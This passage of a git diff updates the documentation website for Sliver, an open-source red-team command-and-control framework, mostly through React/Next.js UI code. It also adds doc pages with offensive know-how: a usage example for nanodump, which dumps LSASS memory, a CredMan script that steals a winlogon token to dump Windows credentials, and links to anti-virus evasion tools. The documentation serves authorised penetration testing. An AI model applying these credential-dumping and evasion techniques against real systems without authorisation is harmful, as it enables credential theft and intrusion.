: asciiCast.src || "";
|
||||
const srcUrl = new URL(src);
|
||||
if (srcUrl.protocol !== "http:" && srcUrl.protocol !== "https:") {
|
||||
return <></>;
|
||||
}
|
||||
return (
|
||||
<AsciinemaPlayer
|
||||
src={srcUrl.toString()}
|
||||
rows={asciiCast.rows || "18"}
|
||||
cols={asciiCast.cols || "75"}
|
||||
idleTimeLimit={asciiCast.idleTimeLimit || 2}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
const sourceCode = (children as string) || "";
|
||||
const lines = sourceCode.split("\n").length;
|
||||
return (
|
||||
<CodeViewer
|
||||
className={
|
||||
lines < 7
|
||||
? "min-h-[100px]"
|
||||
: lines < 17
|
||||
? "min-h-[250px]"
|
||||
: "min-h-[450px]"
|
||||
}
|
||||
key={`${Math.random()}`}
|
||||
fontSize={11}
|
||||
script={
|
||||
{
|
||||
script_type: lang,
|
||||
source_code: sourceCode,
|
||||
} as CodeSchema
|
||||
}
|
||||
/>
|
||||
);
|
||||
},
|
||||
}}
|
||||
>
|
||||
{props.markdown}
|
||||
</Markdown>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default MarkdownViewer;
|
||||
@@ -1,23 +1,42 @@
|
||||
"use client";
|
||||
|
||||
import { SliversIcon } from "@/components/icons/slivers";
|
||||
import { useSearchContext } from "@/util/search-context";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faEye, faHome } from "@fortawesome/free-solid-svg-icons";
|
||||
import { faGithub } from "@fortawesome/free-brands-svg-icons";
|
||||
import {
|
||||
faHome,
|
||||
faMoon,
|
||||
faSearch,
|
||||
faSun,
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import {
|
||||
Button,
|
||||
Input,
|
||||
Link,
|
||||
Navbar,
|
||||
NavbarBrand,
|
||||
NavbarContent,
|
||||
NavbarItem,
|
||||
Tooltip,
|
||||
} from "@nextui-org/react";
|
||||
import { useTheme } from "next-themes";
|
||||
import { useRouter } from "next/router";
|
||||
import { SliversIcon } from "./icons/slivers";
|
||||
import React from "react";
|
||||
|
||||
export type TopNavbarProps = {};
|
||||
|
||||
export default function TopNavbar(props: TopNavbarProps) {
|
||||
const router = useRouter();
|
||||
const search = useSearchContext();
|
||||
const { theme, setTheme } = useTheme();
|
||||
const lightDarkModeIcon = React.useMemo(
|
||||
() => (theme === Themes.DARK ? faSun : faMoon),
|
||||
[theme]
|
||||
);
|
||||
|
||||
const [query, setQuery] = React.useState("");
|
||||
|
||||
return (
|
||||
<Navbar
|
||||
@@ -42,9 +61,9 @@ export default function TopNavbar(props: TopNavbarProps) {
|
||||
>
|
||||
<NavbarBrand>
|
||||
<SliversIcon />
|
||||
<p className="hidden sm:block font-bold text-inherit">
|
||||
<span className="hidden sm:block font-bold text-inherit">
|
||||
Sliver C2
|
||||
</p>
|
||||
</span>
|
||||
</NavbarBrand>
|
||||
|
||||
<NavbarContent>
|
||||
@@ -83,13 +102,39 @@ export default function TopNavbar(props: TopNavbarProps) {
|
||||
</NavbarContent>
|
||||
|
||||
<NavbarContent as="div" justify="end">
|
||||
<Tooltip content="Press enter to search" isOpen={query.length > 0}>
|
||||
<Input
|
||||
size="sm"
|
||||
placeholder="Search..."
|
||||
value={query}
|
||||
onChange={(e) => setQuery(e.target.value)}
|
||||
onClear={() => setQuery("")}
|
||||
startContent={<FontAwesomeIcon icon={faSearch} />}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === "Enter") {
|
||||
router.push({ pathname: `/search/`, query: { search: query } });
|
||||
setQuery("");
|
||||
}
|
||||
}}
|
||||
/>
|
||||
</Tooltip>
|
||||
|
||||
<Button
|
||||
variant="light"
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
|
||||
}}
|
||||
>
|
||||
<FontAwesomeIcon icon={faEye} />
|
||||
<FontAwesomeIcon icon={lightDarkModeIcon} />
|
||||
</Button>
|
||||
|
||||
<Button
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
window.open("https://github.com/BishopFox/sliver", "_blank");
|
||||
}}
|
||||
>
|
||||
<FontAwesomeIcon icon={faGithub} />
|
||||
</Button>
|
||||
</NavbarContent>
|
||||
</Navbar>
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
import { Button, Card, CardFooter, CardHeader } from "@nextui-org/react";
|
||||
import AsciinemaPlayer from "./asciinema";
|
||||
|
||||
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import styles from "./TutorialCard.module.css";
|
||||
|
||||
export type TutorialCardCardProps = {
|
||||
name: string;
|
||||
description: string;
|
||||
|
||||
asciiCast: string;
|
||||
rows?: string;
|
||||
cols?: string;
|
||||
idleTimeLimit?: number;
|
||||
|
||||
italicDescription?: boolean;
|
||||
onPress?: () => void;
|
||||
showButton?: boolean;
|
||||
buttonText?: string;
|
||||
};
|
||||
|
||||
export default function TutorialCard(props: TutorialCardCardProps) {
|
||||
return (
|
||||
<Card isFooterBlurred>
|
||||
<CardHeader className="absolute z-10 top-1 flex-col items-end">
|
||||
<p className="text-md text-white/70 uppercase font-bold">
|
||||
{props.name}
|
||||
</p>
|
||||
</CardHeader>
|
||||
|
||||
<div className={styles["hide-control-bar"]}>
|
||||
<AsciinemaPlayer
|
||||
src={props.asciiCast}
|
||||
rows={props.rows ? props.rows : "18"}
|
||||
cols={props.cols ? props.cols : "75"}
|
||||
idleTimeLimit={props.idleTimeLimit ? props.idleTimeLimit : 2}
|
||||
preload={true}
|
||||
autoPlay={true}
|
||||
loop={true}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<CardFooter className="absolute bg-black/40 bottom-0 z-100 border-t-1 border-default-600 dark:border-default-100">
|
||||
<div className="flex w-full items-center">
|
||||
<p
|
||||
className={
|
||||
props.italicDescription
|
||||
? "text-xs text-white/80 italic"
|
||||
: "text-xs text-white/80"
|
||||
}
|
||||
>
|
||||
{props.description}
|
||||
</p>
|
||||
|
||||
{props.showButton ? (
|
||||
<div className="justify-items-end">
|
||||
<Button
|
||||
variant="ghost"
|
||||
color="warning"
|
||||
size="sm"
|
||||
onPress={props.onPress}
|
||||
>
|
||||
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
</div>
|
||||
) : (
|
||||
<></>
|
||||
)}
|
||||
</div>
|
||||
</CardFooter>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
@@ -5,6 +5,9 @@ const nextConfig = {
|
||||
images: {
|
||||
unoptimized: true,
|
||||
},
|
||||
experimental: {
|
||||
scrollRestoration: true,
|
||||
},
|
||||
webpack: (config, { isServer }) => {
|
||||
if (isServer) {
|
||||
require('./prebuild/generate-docs');
|
||||
|
||||
Generated
+16
@@ -17,6 +17,7 @@
|
||||
"@tanstack/react-query": "^5.13.4",
|
||||
"asciinema-player": "^3.6.3",
|
||||
"framer-motion": "^10.16.16",
|
||||
"fuse.js": "^7.0.0",
|
||||
"lunr": "^2.3.9",
|
||||
"next": "14.0.4",
|
||||
"next-themes": "^0.2.1",
|
||||
@@ -27,6 +28,7 @@
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/typography": "^0.5.10",
|
||||
"@types/lunr": "^2.3.7",
|
||||
"@types/node": "^20",
|
||||
"@types/react": "^18",
|
||||
"@types/react-dom": "^18",
|
||||
@@ -2908,6 +2910,12 @@
|
||||
"integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==",
|
||||
"dev": true
|
||||
},
|
||||
"node_modules/@types/lunr": {
|
||||
"version": "2.3.7",
|
||||
"resolved": "https://registry.npmjs.org/@types/lunr/-/lunr-2.3.7.tgz",
|
||||
"integrity": "sha512-Tb/kUm38e8gmjahQzdCKhbdsvQ9/ppzHFfsJ0dMs3ckqQsRj+P5IkSAwFTBrBxdyr3E/LoMUUrZngjDYAjiE3A==",
|
||||
"dev": true
|
||||
},
|
||||
"node_modules/@types/mdast": {
|
||||
"version": "4.0.3",
|
||||
"resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.3.tgz",
|
||||
@@ -4675,6 +4683,14 @@
|
||||
"url": "https://github.com/sponsors/ljharb"
|
||||
}
|
||||
},
|
||||
"node_modules/fuse.js": {
|
||||
"version": "7.0.0",
|
||||
"resolved": "https://registry.npmjs.org/fuse.js/-/fuse.js-7.0.0.tgz",
|
||||
"integrity": "sha512-14F4hBIxqKvD4Zz/XjDc3y94mNZN6pRv3U13Udo0lNLCWRBUsrMv2xwcF/y/Z5sV6+FQW+/ow68cHpm4sunt8Q==",
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
}
|
||||
},
|
||||
"node_modules/get-intrinsic": {
|
||||
"version": "1.2.2",
|
||||
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.2.tgz",
|
||||
|
||||
@@ -6,7 +6,8 @@
|
||||
"dev": "next dev",
|
||||
"build": "next build",
|
||||
"start": "next start",
|
||||
"lint": "next lint"
|
||||
"lint": "next lint",
|
||||
"offline": "next build && zip -r www.zip ./out"
|
||||
},
|
||||
"dependencies": {
|
||||
"@fontsource/fira-code": "^5.0.16",
|
||||
@@ -18,6 +19,7 @@
|
||||
"@tanstack/react-query": "^5.13.4",
|
||||
"asciinema-player": "^3.6.3",
|
||||
"framer-motion": "^10.16.16",
|
||||
"fuse.js": "^7.0.0",
|
||||
"lunr": "^2.3.9",
|
||||
"next": "14.0.4",
|
||||
"next-themes": "^0.2.1",
|
||||
@@ -28,6 +30,7 @@
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/typography": "^0.5.10",
|
||||
"@types/lunr": "^2.3.7",
|
||||
"@types/node": "^20",
|
||||
"@types/react": "^18",
|
||||
"@types/react-dom": "^18",
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
import Navbar from "@/components/navbar";
|
||||
import "@/styles/globals.css";
|
||||
import { Docs } from "@/util/docs";
|
||||
import { SearchContext, SearchCtx } from "@/util/search-context";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faExternalLink } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { NextUIProvider } from "@nextui-org/react";
|
||||
import {
|
||||
HydrationBoundary,
|
||||
@@ -12,6 +16,7 @@ import type { AppProps } from "next/app";
|
||||
import React from "react";
|
||||
|
||||
export default function App({ Component, pageProps }: AppProps) {
|
||||
// Initialize theme
|
||||
const { theme, setTheme } = useTheme();
|
||||
function getThemeState(): Themes {
|
||||
if (typeof window !== "undefined") {
|
||||
@@ -22,15 +27,66 @@ export default function App({ Component, pageProps }: AppProps) {
|
||||
return Themes.DARK;
|
||||
}
|
||||
|
||||
// Initialize search
|
||||
const [search, setSearch] = React.useState(new SearchCtx());
|
||||
|
||||
// Initialize query client
|
||||
const [queryClient] = React.useState(() => new QueryClient());
|
||||
queryClient.prefetchQuery({
|
||||
queryKey: ["docs"],
|
||||
queryFn: async (): Promise<Docs> => {
|
||||
const res = await fetch("/docs.json");
|
||||
const docs: Docs = await res.json();
|
||||
search.addDocs(docs);
|
||||
return docs;
|
||||
},
|
||||
});
|
||||
|
||||
return (
|
||||
<NextUIProvider>
|
||||
<NextThemesProvider attribute="class" defaultTheme={getThemeState()}>
|
||||
<QueryClientProvider client={queryClient}>
|
||||
<HydrationBoundary state={pageProps.dehydratedState}>
|
||||
<Navbar />
|
||||
<Component {...pageProps} />
|
||||
<SearchContext.Provider value={search}>
|
||||
<Navbar />
|
||||
<Component {...pageProps} />
|
||||
<div className="mb-12"></div>
|
||||
<footer className="fixed bottom-0 left-0 z-20 w-full p-2 bg-white border-t border-gray-200 shadow md:flex md:items-center md:justify-between md:p-6 dark:bg-black dark:border-gray-600">
|
||||
<span className="text-sm text-gray-500 sm:text-center dark:text-gray-400">
|
||||
© {new Date().getFullYear()}{" "}
|
||||
<a
|
||||
href="https://bishopfox.com/"
|
||||
className="hover:underline"
|
||||
rel="noreferrer"
|
||||
target="_blank"
|
||||
>
|
||||
Bishop Fox
|
||||
</a>
|
||||
{" - "}
|
||||
<a
|
||||
href="https://github.com/BishopFox/sliver/pulls"
|
||||
rel="noreferrer"
|
||||
className="hover:underline"
|
||||
target="_blank"
|
||||
>
|
||||
You can help improve this documentation by opening a pull
|
||||
request on Github <FontAwesomeIcon icon={faExternalLink} />
|
||||
</a>
|
||||
</span>
|
||||
<ul className="flex flex-wrap items-center mt-3 text-sm font-medium text-gray-500 dark:text-gray-400 sm:mt-0">
|
||||
<li>
|
||||
<a
|
||||
href="https://github.com/BishopFox/sliver/blob/master/LICENSE"
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
className="hover:underline me-4 md:me-6"
|
||||
>
|
||||
GPLv3 License
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</footer>
|
||||
</SearchContext.Provider>
|
||||
</HydrationBoundary>
|
||||
</QueryClientProvider>
|
||||
</NextThemesProvider>
|
||||
|
||||
@@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document";
|
||||
import React from "react";
|
||||
|
||||
// This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit.
|
||||
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
|
||||
const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`;
|
||||
|
||||
class MyDocument extends Document {
|
||||
static async getInitialProps(ctx: any) {
|
||||
@@ -17,6 +17,7 @@ class MyDocument extends Document {
|
||||
return (
|
||||
<Html lang="en">
|
||||
<Head>
|
||||
<title>Sliver Docs</title>
|
||||
<meta httpEquiv="Content-Security-Policy" content={CSP} />
|
||||
</Head>
|
||||
<body>
|
||||
|
||||
@@ -1,30 +1,30 @@
|
||||
import MarkdownViewer from "@/components/markdown";
|
||||
import { Docs } from "@/util/docs";
|
||||
import { Themes } from "@/util/themes";
|
||||
import { faSearch } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import {
|
||||
Card,
|
||||
CardBody,
|
||||
CardHeader,
|
||||
Divider,
|
||||
Input,
|
||||
Listbox,
|
||||
ListboxItem,
|
||||
ScrollShadow,
|
||||
} from "@nextui-org/react";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import Fuse from "fuse.js";
|
||||
import { NextPage } from "next";
|
||||
import { useTheme } from "next-themes";
|
||||
import Head from "next/head";
|
||||
import { useSearchParams } from "next/navigation";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
import Markdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
|
||||
type Doc = {
|
||||
name: string;
|
||||
content: string;
|
||||
};
|
||||
|
||||
type Docs = {
|
||||
docs: Doc[];
|
||||
};
|
||||
|
||||
const DocsIndexPage: NextPage = () => {
|
||||
const { theme } = useTheme();
|
||||
const router = useRouter();
|
||||
|
||||
const { data: docs, isLoading } = useQuery({
|
||||
queryKey: ["docs"],
|
||||
@@ -34,63 +34,116 @@ const DocsIndexPage: NextPage = () => {
|
||||
},
|
||||
});
|
||||
|
||||
const [name, setName] = React.useState(docs?.docs[0].name || "");
|
||||
const [markdown, setMarkdown] = React.useState(docs?.docs[0].content || "");
|
||||
const params = useSearchParams();
|
||||
const [name, setName] = React.useState("");
|
||||
const [markdown, setMarkdown] = React.useState("");
|
||||
|
||||
React.useEffect(() => {
|
||||
if (docs) {
|
||||
setName(docs.docs[0].name);
|
||||
setMarkdown(docs.docs[0].content);
|
||||
}
|
||||
const _name = params.get("name");
|
||||
setName(_name || "");
|
||||
setMarkdown(docs?.docs.find((doc) => doc.name === _name)?.content || "");
|
||||
}, [params, docs]);
|
||||
|
||||
const [filterValue, setFilterValue] = React.useState("");
|
||||
const fuse = React.useMemo(() => {
|
||||
return new Fuse(docs?.docs || [], {
|
||||
keys: ["name"],
|
||||
threshold: 0.3,
|
||||
});
|
||||
}, [docs]);
|
||||
|
||||
const visibleDocs = React.useMemo(() => {
|
||||
if (filterValue) {
|
||||
// Fuzzy match display names
|
||||
const fuzzy = fuse.search(filterValue).map((r) => r.item);
|
||||
return fuzzy;
|
||||
}
|
||||
return docs?.docs || [];
|
||||
}, [docs, fuse, filterValue]);
|
||||
|
||||
const listboxClasses = React.useMemo(() => {
|
||||
if (theme === Themes.DARK) {
|
||||
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
|
||||
} else {
|
||||
return "border p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
|
||||
}
|
||||
}, [theme]);
|
||||
|
||||
if (isLoading || !docs) {
|
||||
return <div>Loading...</div>;
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="grid grid-cols-12">
|
||||
<div className="col-span-2 mt-6 ml-4">
|
||||
<div className="flex flex-row justify-center text-lg mb-2 gap-2">
|
||||
Topics
|
||||
<Head>
|
||||
<title>Sliver Docs: {name}</title>
|
||||
</Head>
|
||||
<div className="col-span-3 mt-4 ml-4 h-screen sticky top-20">
|
||||
<div className="flex flex-row justify-center text-lg gap-2">
|
||||
<Input
|
||||
placeholder="Filter..."
|
||||
startContent={<FontAwesomeIcon icon={faSearch} />}
|
||||
value={filterValue}
|
||||
onChange={(e) => setFilterValue(e.target.value)}
|
||||
isClearable={true}
|
||||
onClear={() => setFilterValue("")}
|
||||
/>
|
||||
</div>
|
||||
<div className="mt-2">
|
||||
<Listbox
|
||||
aria-label="Toolbox Menu"
|
||||
className="p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium"
|
||||
itemClasses={{
|
||||
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
|
||||
}}
|
||||
>
|
||||
{docs.docs.map((doc) => (
|
||||
<ListboxItem
|
||||
key={doc.name}
|
||||
value={doc.name}
|
||||
onClick={() => {
|
||||
setName(doc.name);
|
||||
setMarkdown(doc.content);
|
||||
<ScrollShadow>
|
||||
<div className="max-h-[70vh]">
|
||||
<Listbox
|
||||
aria-label="Toolbox Menu"
|
||||
className={listboxClasses}
|
||||
itemClasses={{
|
||||
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
|
||||
}}
|
||||
>
|
||||
{doc.name}
|
||||
</ListboxItem>
|
||||
))}
|
||||
</Listbox>
|
||||
{visibleDocs.map((doc) => (
|
||||
<ListboxItem
|
||||
key={doc.name}
|
||||
value={doc.name}
|
||||
onClick={() => {
|
||||
router.push({
|
||||
pathname: "/docs",
|
||||
query: { name: doc.name },
|
||||
});
|
||||
}}
|
||||
>
|
||||
{doc.name}
|
||||
</ListboxItem>
|
||||
))}
|
||||
</Listbox>
|
||||
</div>
|
||||
</ScrollShadow>
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-10">
|
||||
<Card className="mt-8 ml-8 mr-8 mb-8">
|
||||
<CardHeader>
|
||||
<span className="text-3xl">{name}</span>
|
||||
</CardHeader>
|
||||
<Divider />
|
||||
<CardBody
|
||||
className={
|
||||
theme === Themes.DARK ? "prose prose-invert" : "prose prose-slate"
|
||||
}
|
||||
>
|
||||
<Markdown remarkPlugins={[remarkGfm]}>{markdown}</Markdown>
|
||||
</CardBody>
|
||||
</Card>
|
||||
<div className="col-span-9">
|
||||
{name !== "" ? (
|
||||
<Card className="mt-8 ml-8 mr-8 mb-8">
|
||||
<CardHeader>
|
||||
<span className="text-3xl">{name}</span>
|
||||
</CardHeader>
|
||||
<Divider />
|
||||
<CardBody>
|
||||
<MarkdownViewer
|
||||
key={name || `${Math.random()}`}
|
||||
markdown={markdown || ""}
|
||||
/>
|
||||
</CardBody>
|
||||
</Card>
|
||||
) : (
|
||||
<div className="grid grid-cols-3">
|
||||
<div className="col-span-1"></div>
|
||||
<div className="col-span-1 mt-8 text-2xl text-center">
|
||||
Welcome to the Sliver Wiki!
|
||||
<div className="text-xl text-gray-500">
|
||||
Please select a document
|
||||
</div>
|
||||
</div>
|
||||
<div className="col-span-1"></div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
|
||||
Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](/docs?name=Armory).
|
||||
|
||||
#### Aliases Command Parsing
|
||||
|
||||
@@ -151,7 +151,7 @@ Sliver - 3rd Party extensions:
|
||||
|
||||
To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above.
|
||||
|
||||
As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools) section, to understand how shared libraries are loaded on all platforms.
|
||||
As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](/docs?name=Third+Party+Tools) section, to understand how shared libraries are loaded on all platforms.
|
||||
|
||||
## Extensions
|
||||
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](/docs?name=Stagers).
|
||||
|
||||
Here are some external resources for anti-virus evasion:
|
||||
|
||||
- https://www.veil-framework.com/framework/veil-evasion/
|
||||
- https://iwantmore.pizza/posts/PEzor.html
|
||||
@@ -0,0 +1,28 @@
|
||||
This document describes the technical design of Sliver.
|
||||
|
||||
## High Level
|
||||
|
||||
There are four major components to the Sliver ecosystem:
|
||||
|
||||
- **Server Console -** The server console is the main interface, which is started when you run the `sliver-server` executable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (i.e., operator) management. The server console talks over an in-memory gRPC interface to the server.
|
||||
- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network (i.e., multiplayer mode) over mutual TLS (mTLS).
|
||||
- **Sliver Client -** The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file `sliver-client`, which is generally used to connect to the "mutliplayer" gRPC network listener.
|
||||
- **Implant -** The implant is the actual malicious code run on the target system you want remote access to.
|
||||
|
||||
```
|
||||
In ┌───────────────┐ C2
|
||||
┌─────────┐ Memory │ │ Protocol ┌─────────┐
|
||||
│ Server ├────────────►│ Sliver Server ├─────────►│ Implant │
|
||||
│ Console │ │ │ └─────────┘
|
||||
└─────────┘ └───────────────┘
|
||||
▲
|
||||
│
|
||||
│gRPC/mTLS
|
||||
│
|
||||
┌────┴────┐
|
||||
│ Sliver │
|
||||
│ Client │
|
||||
└─────────┘
|
||||
```
|
||||
|
||||
By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.
|
||||
@@ -2,7 +2,7 @@ The armory is the Sliver Alias and Extension package manager (introduced in Sliv
|
||||
|
||||
The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.
|
||||
|
||||
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
|
||||
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](/docs?name=Multi-player+Mode).
|
||||
|
||||
As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to.
|
||||
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command.
|
||||
|
||||
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment-Variables#assets) environment variable.
|
||||
|
||||
#### Parsing Audit Logs
|
||||
|
||||
The audit log is stored in a newline delimited (one object per line) nested-JSON format designed to be primarily machine readable, an example entry is shown below:
|
||||
|
||||
```
|
||||
{"level":"info","msg":"{\"request\":\"{\\\"Port\\\":8888}\",\"method\":\"/rpcpb.SliverRPC/StartMTLSListener\"}","time":"2021-06-16T10:22:54-05:00"}
|
||||
```
|
||||
|
||||
**NOTE:** Due to limitations in the logging APIs the audit log contains nested JSON objects that may require additional parsing.
|
||||
|
||||
The top level JSON should always contain:
|
||||
|
||||
- `level` - The level indicates the type of action performed. Currently, `info` indicates commands and `warn` indicates events.
|
||||
- `msg` - A JSON object encoded as a string. This object should always contain a `request` and a `method`. The contents of `method` indicate which command was executed, `request` will contain parameters to that command. The contents of `request` will vary depending on the command, but it will be based on the corresponding gRPC/Protobuf message.
|
||||
- `time` - The server's timestamp of the log entry
|
||||
@@ -0,0 +1,119 @@
|
||||
Sliver v1.5 and later support the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.
|
||||
|
||||
### BOF Extensions
|
||||
|
||||
BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](/docs?name=Armory).
|
||||
|
||||
The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](/docs?name=Armory) package manager:
|
||||
|
||||
**IMPORTANT:** BOF Extensions are installed per-sliver client, they are not stored on the server. Thus extensions are not shared across operators, each operator must install the extension to use it.
|
||||
|
||||
```
|
||||
sliver > armory install nanodump
|
||||
|
||||
[*] Installing extension 'nanodump' (v0.0.5) ... done!
|
||||
|
||||
sliver > nanodump -h
|
||||
|
||||
A Beacon Object File that creates a minidump of the LSASS process.
|
||||
|
||||
Usage:
|
||||
======
|
||||
nanodump [flags] pid dump-name write-file signature
|
||||
|
||||
Args:
|
||||
=====
|
||||
pid int The PID of the process you want to dump.
|
||||
dump-name string The name of the dump file.
|
||||
write-file int 1 = write file, 0 = fileless
|
||||
signature string Signature used for evasion, PMDM = default
|
||||
|
||||
Flags:
|
||||
======
|
||||
-h, --help display help
|
||||
-s, --save Save output to disk
|
||||
-t, --timeout int command timeout in seconds (default: 60)
|
||||
```
|
||||
|
||||
### Converting BOFs to Sliver
|
||||
|
||||
Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json` though based on what arguments/etc. the BOF accepts.
|
||||
|
||||
To determine the arguments a BOF accepts and their types, you'll need to read `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is show below:
|
||||
|
||||
```
|
||||
alias CredMan {
|
||||
local('$handle $data $args $2');
|
||||
|
||||
if(size(@_) != 3){
|
||||
berror($1, "CredMan: not enough arguments,Usage: CredMan [user process id] ");
|
||||
return;
|
||||
}
|
||||
|
||||
$handle = openf(script_resource("CredMan.o"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle)
|
||||
|
||||
$args = bof_pack($1,"i",$2);
|
||||
|
||||
btask($1, "Running CredMan");
|
||||
|
||||
|
||||
beacon_inline_execute($1,$data,"go",$args);
|
||||
}
|
||||
|
||||
beacon_command_register(
|
||||
"CredMan",
|
||||
"Enables SeTrustedCredManAccess Privilege in a token stolen from winlogon.exe to dump Windows Credential Manager");
|
||||
```
|
||||
|
||||
| Type | Description | Sliver Type |
|
||||
| ---- | -------------------------------- | ---------------------------- |
|
||||
| b | binary data | `file` (path to binary data) |
|
||||
| i | 4-byte integer | `int` or `integer` |
|
||||
| s | 2-byte short integer | `short` |
|
||||
| z | zero-terminated+encoded string | `string` |
|
||||
| Z | zero-terminated wide-char string | `wstring` |
|
||||
|
||||
Looking at the script we can see the BOF requires a single integer argument. The corresponding Sliver `extension.json` file is shown below. Note that BOFs will always rely on the `coff-loader` extension but other kinds of extensions may not. If the `coff-loader` extension is not already installed on your system, it can be installed using `armory install coff-loader`. You can list installed extensions by simply running the `extensions` command with no arguments.
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "credman",
|
||||
"version": "1.0.0",
|
||||
"command_name": "credman",
|
||||
"extension_author": "lesnuages",
|
||||
"original_author": "jsecu",
|
||||
